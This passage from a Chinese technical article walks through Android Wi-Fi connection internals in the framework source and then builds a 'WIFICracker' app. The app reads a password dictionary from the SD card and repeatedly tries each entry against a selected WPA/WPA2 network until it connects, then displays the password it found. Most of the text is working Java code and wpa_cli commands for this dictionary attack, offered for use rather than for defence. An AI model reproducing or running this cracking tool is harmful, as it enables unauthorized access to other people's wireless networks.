安卓 WIFI 密码破解工具编写初探

图/文 非虫

最近，在好几个安卓手机群里面都看到有朋友寻求 WIFI 密码破解工具，在网上经过一番搜索后发现居然没有这样的软件，这让我感到很奇怪，难道这样的功能实现起来很难？思索再三，决定探个究竟。

安卓 WIFI 原理浅析

首先看 SDK 中查看 WIFI 操作的相关类。WIFI 的支持是在 android.net.wifi 包中提供的。里面有 WifiManager、WifiInfo、WifiConfiguration 与 ScanResult 等几个常用到的类，WIFI 的管理通过 WifiManager 暴露出来的方法来操作，仔细一看还真让人郁闷，这个类没有提供连接 WIFI 的方法，倒是有 disconnect()方法来断开连接，不过有个 reconnect()方法倒是值得注意，只是该方法 SDK 中却没有详细的介绍。在谷歌中搜索安卓连接 WIFI 的代码又测试失败，心里顿时凉了一截！看来要想完成这个功能还得下一番功夫。

转念一想，安卓会不会把这样的接口隐藏了，通过 AIDL 的方式就可以访问呢？为了验证我的想法，开始在安卓源代码的“frameworks”目录中搜索以 aidl 结尾的文件，最终锁定“IWifiManager.aidl”文件，用 Editplus 打开它，发现 IWifiManager 接口里面也没有提供连接 WIFI 的方法。这条线索也断了！

看来只能从手机 WIFI 的连接过程着手了。掏出手机，进入“设置”->“无线和网络设置”->“WLAN 设置”里面打开“WLAN”，这时手机会自动搜索附近的 WIFI 热点，点击任一个加密的热点会弹出密码输入框，如图 1 所示：

图 1

输入任意长度大于或等于 8 位的密码后点击连接按钮，此时手机就会去连接该热点，如果验证失败就会提示“密码错误，请重新输入正确的密码并且再试一次”，如图 2 所示：

图 2

如果此时更换密码后再试一次仍然失败的话，手机就不会再访问该热点并将该 WLAN 网络设为禁用。既然在手机设置里可以连接 WIFI，那么说明设置里面就有连接 WIFI 的代码存在。

手机设置这一块是做为安卓手机的一个软件包提供的，它的代码位于安卓源码的“packages\apps\Settings”目录中，为了弄清楚操作流程，我决定到源码中查看相关代码。首先根据文件名判断打开“packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java”文件，可以看到 WifiSettings 类继承自 SettingsPreferenceFragment，SettingsPreferenceFragment 类使用一系列的 PreferenceScreen 作为显示的列表项，现在很多软件都用它来作为自身的设置页面，不仅布局更简单，而且也很方便。

找到 WifiSettings 的构造函数代码如下：

```
public WifiSettings() {
    mFilter = new IntentFilter();
    mFilter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION);
    mFilter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
    mFilter.addAction(WifiManager.NETWORK_IDS_CHANGED_ACTION);
    mFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);
    mFilter.addAction(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION);
    mFilter.addAction(WifiManager.LINK_CONFIGURATION_CHANGED_ACTION);
    mFilter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);
    mFilter.addAction(WifiManager.RSSI_CHANGED_ACTION);
    mFilter.addAction(WifiManager.ERROR_ACTION);

    mReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            handleEvent(context, intent);
        }
    };
    mScanner = new Scanner();
}
```

这段代码注册了一个广播接收者，接收一系列的广播事件，WIFI_STATE_CHANGED_ACTION 事件当 WIFI 功能开启或关闭时会收到，SCAN_RESULTS_AVAILABLE_ACTION 事件当手机扫描到有可用的 WIFI 连接时会收到，SUPPLICANT_STATE_CHANGED_ACTION 事件当连接请求状态发生改变时会收到，NETWORK_STATE_CHANGED_ACTION 事件当网络状态发生变化时会收到，对于其它的事件我们不用去关心，广播接收者中调用 handleEvent()方法对所有的事件进行判断并处理，事件处理代码如下：

```
private void handleEvent(Context context, Intent intent) {
    String action = intent.getAction();
    if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
        updateWifiState(intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE,
                WifiManager.WIFI_STATE_UNKNOWN));
    } else if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action) ||
            WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION.equals(action) ||
            WifiManager.LINK_CONFIGURATION_CHANGED_ACTION.equals(action)) {
            updateAccessPoints();
    } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {
        if (!mConnected.get()) {
            updateConnectionState(WifiInfo.getDetailedStateOf((SupplicantState)
                    intent.getParcelableExtra(WifiManager.EXTRA_NEW_STATE)));
        }
        if (mInXlSetupWizard) {
            ((WifiSettingsForSetupWizardXL)getActivity()).onSupplicantStateChanged(intent);
```

```
            }
        } else if (WifiManager.NETWORK_STATE_CHANGED_ACTION.equals(action)) {
            NetworkInfo info = (NetworkInfo) intent.getParcelableExtra(
                    WifiManager.EXTRA_NETWORK_INFO);
            mConnected.set(info.isConnected());
            changeNextButtonState(info.isConnected());
            updateAccessPoints();
            updateConnectionState(info.getDetailedState());
        }
        .....
    }
```

代码中分别调用 updateWifiState()、updateConnectionState()、updateAccessPoints()等方法进行更新操作，同样凭感觉查看 updateAccessPoints()方法，代码如下：

```
    private void updateAccessPoints() {
        final int wifiState = mWifiManager.getWifiState();
        switch (wifiState) {
            case WifiManager.WIFI_STATE_ENABLED:
                // AccessPoints are automatically sorted with TreeSet.
                final Collection<AccessPoint> accessPoints = constructAccessPoints();
                getPreferenceScreen().removeAll();
                if (mInXlSetupWizard) {
                    ((WifiSettingsForSetupWizardXL)getActivity()).onAccessPointsUpdated(
                            getPreferenceScreen(), accessPoints);
                } else {
                    for (AccessPoint accessPoint : accessPoints) {
                        getPreferenceScreen().addPreference(accessPoint);
                    }
                }
                break;
               .....
        }
```

成功开启 WIFI，即 getWifiState()返回为 WIFI_STATE_ENABLED 时首先会调用 constructAccessPoints()，在这个方法中调用 mWifiManager.getConfiguredNetworks()与 mWifiManager.getScanResults()来分别获取已保存与可用的 WIFI 热点网络，接着判断 mInXlSetupWizard 并调用 onAccessPointsUpdated()或 addPreference(accessPoint)，这两者的操作都是往页面添加显示搜索到的 WIFI 热点网络，区别只是调用者是不是大屏手机或平板电脑（mInXlSetupWizard 意思为是否为大屏幕的设置向导，这个结论由长时间分析所得!*_*，XL=XLarge）。AccessPoints 的构造函数有三个，代码如下：

```
    AccessPoint(Context context, WifiConfiguration config) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        loadConfig(config);
        refresh();
    }

    AccessPoint(Context context, ScanResult result) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        loadResult(result);
        refresh();
    }
```

```
AccessPoint(Context context, Bundle savedState) {
    super(context);
    setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);

    mConfig = savedState.getParcelable(KEY_CONFIG);
    if (mConfig != null) {
        loadConfig(mConfig);
    }
    mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT);
    if (mScanResult != null) {
        loadResult(mScanResult);
    }
    mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO);
    if (savedState.containsKey(KEY_DETAILEDSTATE)) {
        mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE));
    }
    update(mInfo, mState);
}
```

上面的两个构造函数分别针对调用 mWifiManager.getConfiguredNetworks()与 mWifiManager.getScanResults()得来的结果调用 loadConfig(WifiConfiguration config)与 loadResult(ScanResult result)，经过这一步后，AccessPoints 的成员变量也初始化完了，然后调用 refresh()方法进行刷新显示操作，代码我就不帖了，主要就是设置显示 SSID,SSID 的加密方式，信号强度等。显示工作做完后，我们的重点应用转向 WIFI 热点网络点击事件的处理。点击事件的处理同样在 WifiSettings.java 文件中，代码如下：

```
@Override
public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) {
    if (preference instanceof AccessPoint) {
        mSelectedAccessPoint = (AccessPoint) preference;
        /** Bypass dialog for unsecured, unsaved networks */
        if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE &&
                mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) {
            mSelectedAccessPoint.generateOpenNetworkConfig();
            mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig());
        } else {
            showConfigUi(mSelectedAccessPoint, false);
        }
    } else {
        return super.onPreferenceTreeClick(screen, preference);
    }
    return true;
}
```

这段代码很简单，如果 WIFI 没有加密，直接调用 mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的 WifiConfiguration，代码如下：

```
protected void generateOpenNetworkConfig() {
    if (security != SECURITY_NONE)
        throw new IllegalStateException();
    if (mConfig != null)
        return;
    mConfig = new WifiConfiguration();
    mConfig.SSID = AccessPoint.convertToQuotedString(ssid);
```

```
        mConfig.allowedKeyManagement.set(KeyMgmt.NONE);
    }
```

代码首先 new 了一个 WifiConfiguration 赋值给 mConfig，然后设置 allowedKeyManagement 为 KeyMgmt.NONE 表示不使用加密连接，这个工作做完成后就调用了 mWifiManager 的 connectNetwork()方法进行连接，看这个方法的父亲可以发现是 WifiManager，居然是 WifiManager，可这个方法却没有导出!!!

继续分析，如果是加密的 WIFI，就调用 showConfigUi()方法来显示输入密码框，对于大屏手机，即 mInXlSetupWizard 为真时，调用了 WifiSettingsForSetupWizardXL 类的 showConfigUi()方法，如果为假就直接调用 showDialog(accessPoint, edit)显示对话框，代码如下：

```
    private void showDialog(AccessPoint accessPoint, boolean edit) {
        if (mDialog != null) {
            removeDialog(WIFI_DIALOG_ID);
            mDialog = null;
        }
        // Save the access point and edit mode
        mDlgAccessPoint = accessPoint;
        mDlgEdit = edit;
        showDialog(WIFI_DIALOG_ID);
    }

    @Override
    public Dialog onCreateDialog(int dialogId) {
        AccessPoint ap = mDlgAccessPoint; // For manual launch
        if (ap == null) { // For re-launch from saved state
            if (mAccessPointSavedState != null) {
                ap = new AccessPoint(getActivity(), mAccessPointSavedState);
                // For repeated orientation changes
                mDlgAccessPoint = ap;
            }
        }
        // If it's still null, fine, it's for Add Network
        mSelectedAccessPoint = ap;
        mDialog = new WifiDialog(getActivity(), this, ap, mDlgEdit);
        return mDialog;
    }
```

这段代码保存 accessPoint 后就调用 showDialog(WIFI_DIALOG_ID)了，在 onCreateDialog()初始化方法中判断 mDlgAccessPoint 是否为 null，如果为 null 就调用 AccessPoint 的第三个构造方法从保存的状态中生成一个 AccessPoint，最后 new WifiDialog(getActivity(), this, ap, mDlgEdit)生成一个 WifiDialog，这个 WifiDialog 继承自 AlertDialog，也就是它，最终将对话框展现在我们面前，WifiDialog 构造函数的第二个参数为 DialogInterface.OnClickListener 的监听器，设置为 this 表示类本身对按钮点击事件进行响应，接下来找找事件响应代码，马上就到关键啰！

```
    public void onClick(DialogInterface dialogInterface, int button) {
        if (mInXlSetupWizard) {
            if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {
                forget();
            } else if (button == WifiDialog.BUTTON_SUBMIT) {
                ((WifiSettingsForSetupWizardXL)getActivity()).onConnectButtonPressed();
            }
        } else {
            if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {
                forget();
```

```
            } else if (button == WifiDialog.BUTTON_SUBMIT) {
                submit(mDialog.getController());
            }
        }
    }
```

代码判断弹出的对话框是 WIFI 热点抛弃还是 WIFI 连接，并做出相应的处理，这里看看 submit()方法的代码：

```
    void submit(WifiConfigController configController) {
        int networkSetup = configController.chosenNetworkSetupMethod();
        switch(networkSetup) {
            case WifiConfigController.WPS_PBC:
            case WifiConfigController.WPS_DISPLAY:
            case WifiConfigController.WPS_KEYPAD:
                mWifiManager.startWps(configController.getWpsConfig());
                break;
            case WifiConfigController.MANUAL:
                final WifiConfiguration config = configController.getConfig();
                if (config == null) {
                    if (mSelectedAccessPoint != null
                            && !requireKeyStore(mSelectedAccessPoint.getConfig())
                            && mSelectedAccessPoint.networkId != INVALID_NETWORK_ID) {
                        mWifiManager.connectNetwork(mSelectedAccessPoint.networkId);
                    }
                } else if (config.networkId != INVALID_NETWORK_ID) {
                    if (mSelectedAccessPoint != null) {
                        saveNetwork(config);
                    }
                } else {
                    if (configController.isEdit() || requireKeyStore(config)) {
                        saveNetwork(config);
                    } else {
                        mWifiManager.connectNetwork(config);
                    }
                }
                break;
        }

        if (mWifiManager.isWifiEnabled()) {
            mScanner.resume();
        }
        updateAccessPoints();
    }
```

关键代码终于找到了，那个叫激动啊 T_T!按钮事件首先对 WIFI 网络加密类型进行判断，是 WPS 的就调用 mWifiManager.startWps(configController.getWpsConfig())，是手动设置就调用被点击 AccessPoint 项的 getConfig()方法读取 WifiConfiguration 信息，如果不为 null 调用 connectNetwork(mSelectedAccessPoint.networkId)连接网络，为 null 说明可能是 AccessPoint 调用第二个构造函数使用 ScanResult 生成的，则调用 saveNetwork(config)，看看 saveNetwork()的代码：

```
    private void saveNetwork(WifiConfiguration config) {
        if (mInXlSetupWizard) {
            ((WifiSettingsForSetupWizardXL)getActivity()).onSaveNetwork(config);
        } else {
```

```
            mWifiManager.saveNetwork(config);
        }
    }
```

调用的 mWifiManager.saveNetwork(config)方法，这个方法同样在 SDK 中没有导出，到源码中找找，最终在源代码的“frameworks\base\wifi\java\android\net\wifi\WifiManager.java”文件中找到是通过向自身发送消息的方式调用了 WifiStateMachine.java->WifiConfigStore.java->saveNetwork（）方法，最终保存 WIFI 网络后发送了一个已配置网络变更广播，这里由于篇幅就不再展开了。

分析到这里，大概了解了 WIFI 连接的整个流程，程序无论是否为加密的 WIFI 网络，最终调用 WifiManager 的 connectNetwork()方法来连接网络。而这个方法在 SDK 中却没有导出，我们该如何解决这个问题，一杯茶后，马上回来**.....**

connectNetwork（）方法

我始终不明白安卓 SDK 中为什么不开放 connectNetwork 这个接口，但现在需要用到了，也只能接着往下面分析，WifiManager 是 Framework 层的，接下来的探索移步到安卓源码“frameworks\base\wifi\java\android\net\wifi”目录中去，在 WifiManager.java 中搜索“connectNetwork”，代码如下：

```
    /**
     * Connect to a network with the given configuration. The network also
     * gets added to the supplicant configuration.
     *
     * For a new network, this function is used instead of a
     * sequence of addNetwork(), enableNetwork(), saveConfiguration() and
     * reconnect()
     *
     * @param config the set of variables that describe the configuration,
     *            contained in a {@link WifiConfiguration} object.
     * @hide
     */
    public void connectNetwork(WifiConfiguration config) {
        if (config == null) {
            return;
        }
        mAsyncChannel.sendMessage(CMD_CONNECT_NETWORK, config);
    }
```

注意看注释部分！“对于一个新的网络，这个函数相当于陆续调用了 addNetwork(), enableNetwork(), saveConfiguration() 与 reconnect()”。看到这句话，心里可美了，因为这四个函数在 SDK 中都有导出，在代码中分别调用它们不就达到调用 connectNetwork 的目的了么？

继续分析代码，如果 config 不为空，connectNetwork 就通过 mAsyncChannel 发送了一条“CMD_CONNECT_NETWORK”的消息，mAsyncChannel 的声明如下：

```
    /* For communication with WifiService */
    private AsyncChannel mAsyncChannel = new AsyncChannel();
```

从注释上理解，这个东西是用来与 WifiService 通信的。WifiService 属于 Framework 底层的服务，位于源码“\frameworks\base\services\java\com\android\server”目录，找到代码如下：

```
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
        ......
        case WifiManager.CMD_CONNECT_NETWORK: {
                    if (msg.obj != null) {
```

```
                    mWifiStateMachine.connectNetwork((WifiConfiguration)msg.obj);
                } else {
                    mWifiStateMachine.connectNetwork(msg.arg1);
                }
                break;
            }
        ......
        }
    }
```

在 handleMessage（）方法中有很多消息处理，这里由于篇幅只列出了 CMD_CONNECT_NETWORK，可以看出这 WifiService 就是个“托”，它只是将“病人”重新转给 mWifiStateMachine 处理，mWifiStateMachine 为 WifiStateMachine 类，代码和 WifiManager 在同一目录，找到 connectNetwork 代码如下：

```
public void connectNetwork(int netId) {
    sendMessage(obtainMessage(CMD_CONNECT_NETWORK, netId, 0));
}
public void connectNetwork(WifiConfiguration wifiConfig) {
    /* arg1 is used to indicate netId, force a netId value of
     * WifiConfiguration.INVALID_NETWORK_ID when we are passing
     * a configuration since the default value of 0 is a valid netId
     */
    sendMessage(obtainMessage(CMD_CONNECT_NETWORK, WifiConfiguration.INVALID_NETWORK_ID,
            0, wifiConfig));
}
```

真有才了！还在发消息，只不过是给自己发，我真怀疑这写 WIFI 模块的是不是 90 后，这一层层绕的不头晕？找到处理代码如下：

```
    @Override
    public boolean processMessage(Message message) {
        ......
            case CMD_CONNECT_NETWORK:
                int netId = message.arg1;
                WifiConfiguration config = (WifiConfiguration) message.obj;
                /* We connect to a specific network by issuing a select
                 * to the WifiConfigStore. This enables the network,
                 * while disabling all other networks in the supplicant.
                 * Disabling a connected network will cause a disconnection
                 * from the network. A reconnectCommand() will then initiate
                 * a connection to the enabled network.
                 */
                if (config != null) {
                    netId = WifiConfigStore.selectNetwork(config);
                } else {
                    WifiConfigStore.selectNetwork(netId);
                }

                /* The state tracker handles enabling networks upon completion/failure */
                mSupplicantStateTracker.sendMessage(CMD_CONNECT_NETWORK);

                WifiNative.reconnectCommand();
                mLastExplicitNetworkId = netId;
                mLastNetworkChoiceTime    = SystemClock.elapsedRealtime();
```

```
                    mNextWifiActionExplicit = true;
                    if (DBG) log("Setting wifi connect explicit for netid " + netId);
                    /* Expect a disconnection from the old connection */
                    transitionTo(mDisconnectingState);
                    break;
                   ......
    }
```

注释中说：通过 WifiConfigStore 的 selectNetwork()方法连接一个特定的网络，当禁用 supplicant 中其它所有网络时，会连接网络，而禁用一个已经连接的网络，将会引发 disconnection 操作，reconnectCommand()方法会初始化并连接已启用的网络。

selectNetwork（）过后，mSupplicantStateTracker 发送了一条 CMD_CONNECT_NETWORK 消息，它其实只做了一件事，就是将“mNetworksDisabledDuringConnect ”设为 true。最后 WifiNative.reconnectCommand()对网络进行重新连接，至此，WIFI 的连接过程就完毕了，下面看看 selectNetwork（）代码：

```
    static int selectNetwork(WifiConfiguration config) {
        if (config != null) {
            NetworkUpdateResult result = addOrUpdateNetworkNative(config);
            int netId = result.getNetworkId();
            if (netId != INVALID_NETWORK_ID) {
                selectNetwork(netId);
            } else {
                loge("Failed to update network " + config);
            }
            return netId;
        }
        return INVALID_NETWORK_ID;
    }
    static void selectNetwork(int netId) {
            // Reset the priority of each network at start or if it goes too high.
            if (sLastPriority == -1 || sLastPriority > 1000000) {
                synchronized (sConfiguredNetworks) {
                    for(WifiConfiguration config : sConfiguredNetworks.values()) {
                        if (config.networkId != INVALID_NETWORK_ID) {
                            config.priority = 0;
                            addOrUpdateNetworkNative(config);
                        }
                    }
                }
                sLastPriority = 0;
            }
            // Set to the highest priority and save the configuration.
            WifiConfiguration config = new WifiConfiguration();
            config.networkId = netId;
            config.priority = ++sLastPriority;

            addOrUpdateNetworkNative(config);
            WifiNative.saveConfigCommand();
            enableNetworkWithoutBroadcast(netId, true);
        }
```

代码都在这里了，我再也不帖了，帖了太多了，这段代码流程为 addOrUpdateNetworkNative（）先保存一个，然后对已保存的网络优先级降下来，这是为了让新网络拥有更高的优先连接权，接着执行 saveConfigCommand()

将配置信息保存，这里的保存操作在底层是将网络信息保存到了“/data/misc/wifi/wpa_supplicant.conf”文件中，最后 enableNetworkWithoutBroadcast(netId, true)启用本网络并禁用其它网络。

小结一下 connectNetwork 的执行步骤为“WifiConfigStore.selectNetwork（）”->“addOrUpdateNetworkNative（）”->“其它网络降级并设置自己最高优先级”->“WifiNative.saveConfigCommand()”->“enableNetworkWithoutBroadcast(netId, true);”->“WifiNative.reconnectCommand()”->“通过广播判断连接成功或失败”。

既然 connectNetwork 的执行步骤现在清楚了，那我们自己实现它便可以完成 WIFI 的手动连接了，

代码编写

WIFI 密码破解器的编写有三种思路：

第一种就是上面说的自己动手实现 connectNetwork，按照 SDK 中常规步骤连接 WIFI，本文采用此方法。

第二种就是参看 WIFI 的连接代码，通过 NDK 方式自己实现 WIFI 底层操作的调用，这种方法本文不介绍。

第三种方法同样通过 NDK 方式，但优雅些。在上面的分析中，我没有提到安卓 WIFI 的核心 wpa_supplicant，它作为安卓 WIFI 的一个组件存在，为安卓系统提供了 WPA、WPA2 等加密网络的连接支持。在手机系统的“/system/bin”目录中，有“wpa_supplicant”与“wpa_cli”两个文件，前者是一个服务，客户端通过它控制手机无线网卡，如发送 AP 扫描指令、提取扫描结果、关联 AP 操作等。后者是一个命令行工具，用来与 wpa_supplicant 通信，在正常启动 wpa_supplicant 服务后执行下面的指令便可以连接上 WIFI 网络：

```
wpa_cli -iwlan0  add_network                    // 增加一个网络,会返回一个网络号，假设为 1
wpa_cli -iwlan0 set_network 1 ssid '"……"'       //ssid 为要连接的网络名
wpa_cli -iwlan0 set_network 1 psk '"……"'        //psk 为连接的密码
wpa_cli -iwlan0 enable_network 1                //以下三条与上面 connectNetwork 分析功能一致
wpa_cli -iwlan0 select_network 1
wpa_cli -iwlan0 save_config
```

但实际上，通过命令行启动 wpa_supplicant 却不能成功，因为需要先加载 WIFI 驱动，然后才能启用 wpa_supplicant 服务。在手机 WLAN 设置中启用 WIFI 后，会调用 WifiManager.setWifiEnabled，这个方法会依次调用 WifiNative.loadDriver()->WifiNative.startSupplicant()。在加载成功后会设置一个延迟时间，到延迟时间后就会调用 WifiNative.stopSupplicant()->WifiNative.unloadDriver()停止 wpa_supplicant 服务并卸载驱动，这是为了给设备省电，因为 WIFI 驱动长时间加载可是很耗电的。

命令行本身无法直接加载驱动，导致了 wpa_supplicant 无法成功开启，这也是无法通过命令行直接连接 WIFI 的原因，但并不是没有突破方法！可以写代码并使用 NDK 方式调用 WifiNative.loadDriver()，接着启用 wpa_supplicant 服务，服务加载成功后执行上面的 wpa_cli 命令行，就可以轻松连接 WIFI 了。可以直接写一个原生的 bin，实现驱动加载及 WIFI 连接，然后在安卓代码中直接以创建进程的方式启动或者在 shell 中执行等方式运行。这些方法都具有可行性，本文不做深入探讨，只采用文中介绍的第一种方法来完成程序的功能。

目前 WIFI 加密种类常用的有 WEP、WPA、WPA2、EAP 等，WifiManager 将 WEP 与 EAP 做了内部消化，WPA 与 WPA2 则使用 wpa_supplicant 进行管理，目前，由于 WEP 的安全性问题，使用的人已经不多了，一般用户采用 WPA 与 WPA2 方式接入较多，在今天的程序中，也只处理了这两种加密的情况。

按照上面的分析思路，代码实现应该很明了了，但实际编码过程中还是存在着诸多问题，首先是停止扫描的问题，在 WifiManager 中没有提供 stopScan()方法，而是在其中通过一个内部继承自 Handler 的 SCanner 来管理，目前来说，我没想到解决方案，在开始破解跑 WIFI 密码的过程中，WIFI 扫描线程一直还是开着，我只是通过一个 cracking 的布尔值判断来阻止界面的更新，这个问题可能在 SDK 层无法得到解决。第二个问题是一些类的枚举值，如 SupplicantState.AUTHENTICATING、KeyMgmt.WPA2_PSK 等在 SDK 中都是没导出的，要想使用就需要自己添加。谈到 WPA2_PSK，很有必要讲一下 `WifiConfiguration` 类的构造，连接 `WIFI` 前需要先构造这个类，然后通过 `addNetwork()`添加网络操作后才能进行下一步的连接，在网上搜索到的连接代码如下：

```
.....
mConfig = new WifiConfiguration();
mConfig.status = WifiConfiguration.Status.ENABLED;
mConfig.hiddenSSID = false;
mConfig.SSID = "\"ssid\"";
```

```
mConfig.preSharedKey = "\"password\"";
mConfig.allowedAuthAlgorithms.set(AuthAlgorithm.OPEN);
mConfig.allowedKeyManagement.set(KeyMgmt.WPA_PSK);
mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
mConfig.allowedPairwiseCiphers.set(PairwiseCipher.CCMP);
mConfig.allowedPairwiseCiphers.set(PairwiseCipher.TKIP);
mConfig.allowedGroupCiphers.set(GroupCipher.CCMP);
mConfig.allowedGroupCiphers.set(GroupCipher.TKIP);
Int netid = wm.addNetwork(mConfig);
wm.enableNetwork(netid, false);
.....
```

在测试初期我是直接搬这代码来用的，实际上这代码是废的，根本连接不上任何的 WIFI，状态代码显示一直停留在关联 AP 中，而且这样设置 WifiConfiguration 后在手机设置中也无法开启使用 WIFI 了，当时我也很纳闷，你都不能用的代码，怎么还在网上好多篇帖子里乱窜？后来跟踪 WIFI 连接的过程后，整理出的代码如下：

```
.....
if (security == SECURITY_PSK) {
    mConfig = new WifiConfiguration();
    mConfig.SSID = AccessPoint.convertToQuotedString(ssid);
    if (pskType == PskType.WPA) {
        mConfig.allowedProtocols.set(WifiConfiguration.Protocol.WPA);
    }
    else if (pskType == PskType.WPA2) {
        mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
    }
    mConfig.priority = 1;
    mConfig.status = WifiConfiguration.Status.ENABLED;
    mConfig.SSID = "\"ssid\"";
    mConfig.preSharedKey = "\"password\"";
    Int netid = wm.addNetwork(mConfig);
    wm.enableNetwork(netid, false);
.....
}
```

代码比上面的要简洁些，这不该有的东西啊你坚决不能有！

启动 Eclipse 新建一个 WIFICracker 的工程，OnCreate（）方法代码如下：

```
public void onCreate(Bundle savedInstanceState) {
       public void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       try {
           passwordGetter = new PasswordGetter("/sdcard/password.txt");
       } catch (FileNotFoundException e) {
           showMessageDialog("程序初始化失败", "请将密码字典放到SD卡目录并更名为
password.txt", "确定",
                   false, new OnClickListener() {
               public void onClick(DialogInterface dialog, int which) {
                   WIFICracker.this.finish();
               }
           });
       }
       wm = (WifiManager) getSystemService(WIFI_SERVICE);
```

```
        if(!wm.isWifiEnabled())
            wm.setWifiEnabled(true);    //开启WIFI

        deleteSavedConfigs();
        cracking = false;
        netid = -1;

        wifiReceiver = new WifiReceiver();
        intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
        intentFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);
        registerReceiver(wifiReceiver, intentFilter);

        wm.startScan(); //开始扫描网络
        }
```

deleteSavedConfigs()方法将手机已存的 Config 中全部删除，原因是因为如果已经保存了正确的 WIFI 连接密码，程序运行会无法工作，具体代码参看附件。然后构造一个 PasswordGetter 对象，它用来读取"/sdcard/password.txt"文件每一行作为 WIFI 的探测密码，类的完整代码如下：

```
public class PasswordGetter {
    private String password;
    private File file;
    private FileReader reader;
    private BufferedReader br;

    public PasswordGetter(String passwordFile){
        password = null;
        try {
            //File file = new File("/sdcard/password.txt");
            file = new File(passwordFile);
            if (!file.exists())
                throw new FileNotFoundException();
            reader = new FileReader(file);
            br = new BufferedReader(reader);

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
    }

    public void reSet(){
        try {
            br.close();
            reader.close();
            reader = new FileReader(file);
            br = new BufferedReader(reader);
        } catch (IOException e) {
            e.printStackTrace();
            password = null;
        }
    }
```

```
    public String getPassword(){
        try {
            password = br.readLine();
        } catch (IOException e) {
            e.printStackTrace();
            password = null;
        }
        return password;
    }

    public void Clean(){
        try {
            br.close();
            reader.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```

这个类很简单，具体代码就不分析了，为了方便配置与加载 WifiConfiguration，我将安卓源码中的 AccessPoint 类进行了部分改装后用到程序中，这样可以节省很多时间。

程序的核心在于对 WIFI 状态的控制与连接，前者我使用了广播接收者进行监听，在收到广播后进行相应处理，代码如下：

```
        class WifiReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action)) {
                if (results == null)    //只初始化一次
                    results = wm.getScanResults();
                try {
                    setTitle("WIFI连接点个数为:"
                    + String.valueOf(getPreferenceScreen().getPreferenceCount()));
                } catch (Exception e) {
                    e.printStackTrace();
                }
                if( cracking == false)  //破解WIFI密码时不更新界面
                    update();
            } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {
                WifiInfo info = wm.getConnectionInfo();
                SupplicantState state = info.getSupplicantState();
                String str = null;
                if (state == SupplicantState.ASSOCIATED){
                    str = "关联AP完成";
                } else if(state.toString().equals("AUTHENTICATING")){
                    str = "正在验证";
                } else if (state == SupplicantState.ASSOCIATING){
                    str = "正在关联AP...";
                } else if (state == SupplicantState.COMPLETED){
                    if(cracking) {
```

```
                    cracking = false;
                    showMessageDialog("恭喜您，密码跑出来了！", "密码为："
                            + AccessPoint.removeDoubleQuotes(password),
                            "确定", false, new OnClickListener(){
                        public void onClick(DialogInterface dialog, int which) {
                            wm.disconnect();
                            enablePreferenceScreens(true);
                        }
                    });
                    cracking = false;
                    return;
                } else
                    str = "已连接";
            } else if (state == SupplicantState.DISCONNECTED){
                str = "已断开";
            } else if (state == SupplicantState.DORMANT){
                str = "暂停活动";
            } else if (state == SupplicantState.FOUR_WAY_HANDSHAKE){
                str = "四路握手中...";
            } else if (state == SupplicantState.GROUP_HANDSHAKE){
                str = "GROUP_HANDSHAKE";
            } else if (state == SupplicantState.INACTIVE){
                str = "休眠中...";
                if (cracking) connectNetwork(); //连接网络
            } else if (state == SupplicantState.INVALID){
                str = "无效";
            } else if (state == SupplicantState.SCANNING){
                str = "扫描中...";
            } else if (state == SupplicantState.UNINITIALIZED){
                str = "未初始化";
            }
            setTitle(str);
  final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);
            if (errorCode == WifiManager.ERROR_AUTHENTICATING) {
                Log.d(TAG, "WIFI验证失败！");
                setTitle("WIFI验证失败！");
                if( cracking == true)
                    connectNetwork();
            }
        }
    }
}
```

这些代码的实现一部分源于查看 SDK 后的测试，另一部分源于跟踪安卓源码时的摘录。如这段：

```
final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);
        if (errorCode == WifiManager.ERROR_AUTHENTICATING) {
                Log.d(TAG, "WIFI验证失败！");
                setTitle("WIFI验证失败！");
                if( cracking == true)
                    connectNetwork();
            }
```

